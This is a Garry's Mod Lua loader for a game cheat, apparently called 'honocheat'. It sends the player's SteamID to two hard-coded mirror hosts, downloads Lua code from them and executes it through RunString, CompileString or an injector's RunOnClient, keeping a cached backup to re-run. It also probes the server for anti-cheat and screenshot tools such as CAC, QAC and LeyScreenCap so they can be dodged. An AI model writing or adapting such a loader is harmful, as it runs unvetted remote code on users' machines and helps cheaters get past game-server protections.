paska 1

local external = external or nil
local hooktype = 1
local loadtype = 1

local mirrorlist = {
    ["http://brandonserver:9515/"] = true,
    ["http://hnc.aurcanius.cf/"] = true
}
local steamid = LocalPlayer():SteamID()

local fr = vgui.Create"DFrame"
fr:SetSize(400,300)
fr:Center()
fr:MakePopup()
fr:SetTitle""
fr:SetScreenLock(true)

local list = vgui.Create("DListView", fr)
list:Dock(FILL)
list:AddColumn"things we found"

local function addline(msg)
    return list:AddLine(msg)
end

local last = false
local function try(url, func)
    --print(url,func)
    if not func then return end
    local _func
    if func == CompileString then
        _func = function(code)
            return func(code,"RunString")()
        end
    end
    if not url then
        if not last then
            local u,_ = next(mirrorlist,url)
            if u and _ then try(u,func) end
            return
        end
        if file.Exists("hnc/backup.txt","DATA") then
            print("running from backup")
            _func("local hooktype = "..hooktype.. " "..file.Read("hnc/backup.txt","DATA"))
        end
        return
    end
    http.Fetch(url.."?steamid="..steamid, function(b,_,h,c)
        local suc = c == 200 and true or false
        if suc then
            if not file.IsDir("hnc","DATA") then
                file.CreateDir("hnc")
            end
            file.Write("hnc/backup.txt",b)

            _func("local hooktype = "..hooktype.. " "..b)
        else
            local u,_ = next(mirrorlist,url)
            if u and _ then try(u,func) end
        end
    end, function(e)
        print("error loading hnc with url: ",url,e)
        local u,_ = next(mirrorlist,url)
        if u and _ then
            print("trying next url")
            try(u,func)
        end
    end)
end

local load = vgui.Create("DButton", fr)
load:Dock(BOTTOM)
load:SetText("load honocheat")
function load:DoClick()
    if loadtype == 1 then
        if proxi then
            local str = [===[local mirrorlist = {
                    ["http://brandonserver:9515/"] = true,
                    ["http://hnc.aurcanius.cf/"] = true
                }
                local steamid = "#STEAMID#"
                local hooktype = #HOOKTYPE#

                local function try(url)
                    if not url then
                        if file.Exists("hnc/backup.txt","DATA") then
                            interstate.RunOnClient("local hooktype = "..hooktype.. " "..file.Read("hnc/backup.txt","DATA"))
                        end
                        return
                    end
                    http.Fetch(url.."?steamid="..steamid, function(b,_,h,c)
                        local suc = c == 200 and true or false
                        if suc then
                            if not file.IsDir("hnc","DATA") then
                                file.CreateDir("hnc")
                            end
                            file.Write("hnc/backup.txt",b)

                            interstate.RunOnClient(b)
                        else
                            try(next(mirrorlist,url))
                        end
                    end, function(e)
                        print(url,e)
                        try(next(mirrorlist,url))
                    end)
                end

                local url = next(mirrorlist)
                interstate.LoadProxiClient()
                try(url)
            ]===]
            str = str:gsub("#STEAMID#",steamid):gsub(
                "#HOOKTYPE#",hooktype)
            proxi.Menu(str)
        elseif external then
            --external
            print"hi this is where i'd add compat with external; if only they let me run code straight up instead of a fucking file reader"
        end
    elseif loadtype == 2 then
        try(nil, RunString)
    elseif loadtype == 3 then
        try(nil, RunStringEx)
    elseif loadtype == 4 then
        try(nil, CompileString)
    else
        return
    end
    fr:Close()
end

local loadt = vgui.Create("DComboBox", fr)
loadt:Dock(BOTTOM)
loadt:SetValue"run type"
loadt:AddChoice"c++ shits"
loadt:AddChoice"RunString"
loadt:AddChoice"RunStringEx"
loadt:AddChoice"CompileString"
function loadt:OnSelect(index,val)
    --print(index,val)
    loadtype = index
end

local hookt = vgui.Create("DComboBox", fr)
hookt:Dock(BOTTOM)
hookt:SetValue"hook type"
hookt:AddChoice"hook.Add"
hookt:AddChoice"override random hooks"
hookt:AddChoice"override gamemode functions"
function hookt:OnSelect(index,val)
    --print(index,val)
    hooktype = index
end

local cac = false
if LeyScreenCap then
    addline"LeyScreenCap detected on server."
end
if hook.GetTable().PostRender.ScreenGrab then
    addline"ScreenGrab detected on server."
end
if proxi then
    if proxi.getinfo(debug.getinfo).short_src:find"client/vehicle.lua" then
        addline"CAC detected on server."
        cac = true
    end
    if proxi.getinfo(file.Read).short_src:find"!!_cl_qac.lua" then
        addline"QAC detected on server."
    end
end
if not cac then
    if util.NetworkStringToID"deaglelogs_sendcommanddata" ~= 0 then
        addline"DeagleLogs detected on server."
    end
    if util.NetworkStringToID("vac.clsv") ~= 0 then
        addline"VAC detected on server."
    end
end
if DBugR then
    addline"DBugR detected on server."
end